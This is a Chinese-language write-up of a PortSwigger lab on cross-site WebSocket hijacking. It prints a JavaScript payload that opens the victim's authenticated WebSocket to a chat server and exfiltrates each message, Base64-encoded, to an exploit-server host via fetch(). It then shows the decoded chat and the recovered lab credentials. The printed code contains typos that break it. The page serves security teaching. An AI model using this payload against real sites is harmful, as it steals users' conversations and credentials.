> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/websockets/cross-site-websocket-hijacking.md).

# 跨站 WebSocket 劫持

### 跨站 WebSocket 劫持

该应用是一个带有一个 **在线聊天** 功能，使用 **WebSockets**. / 每次你访问聊天页面时， **整个对话历史都会自动加载**，而且没有对查询来源进行严格控制。

<figure><img src="/files/92611c83913fd0a43a0076c0cdbfb31a1104f9b6" alt=""><figcaption></figcaption></figure>

交换的消息使用以下 JSON 格式：

```json
{
    "user":"你",
    "content":"嗨"
}
```

<figure><img src="/files/3c73b97fc7cc3b2e49f9e04ccb3a76b9acd38196" alt=""><figcaption></figcaption></figure>

通过对\*\*跨站 WebSocket 劫持\*\*的攻击窃取受害者的聊天记录，然后使用恢复的信息访问他的账户。

***

#### 攻击原理

L的**利用服务器** 用于托管一个 HTML/JavaScript 载荷，其：

1. 建立到目标聊天服务器的 WebSocket 连接。
2. 发送所需消息以初始化通信（`READY`).
3. 拦截通过 WebSocket 接收到的所有消息。
4. 将这些消息在编码为 Base64 后外传到利用服务器。

***

#### 使用的载荷

一个 `data.js` 文件创建如下内容：

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

该脚本会在受害者访问利用服务器时在其浏览器中运行，并自动运行其已认证会话。

<figure><img src="/files/2ebc2e7ddfd0abc2debaf3b474012c91973e6717" alt=""><figcaption></figcaption></figure>

#### 外传的数据

运行中的服务器接收到若干以 Base64 编码的字符串，例如：

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

解码后，完整的聊天记录被重建：

```json
{"user":"Hal Pline","content":"你好，我能帮你什么？"}
{"user":"你","content":"我忘记了密码"}
{"user":"Hal Pline","content":"没问题，carlos，它是 bijj9k61m8bjv18ug67u"}
{"user":"你","content":"谢谢，我希望这不会反过来害到我！"}
{"user":"CONNECTED","content":"-- 现在正在与 Hal Pline 聊天 --"}
```

#### 结果

恢复出的敏感信息可用于识别受害者的凭据：

* **用户**：carlos
* **密码**: `bijj9k61m8bjv18ug67u`

然后可以使用这些凭据登录 Carlos 的账户并验证该实验室。


---

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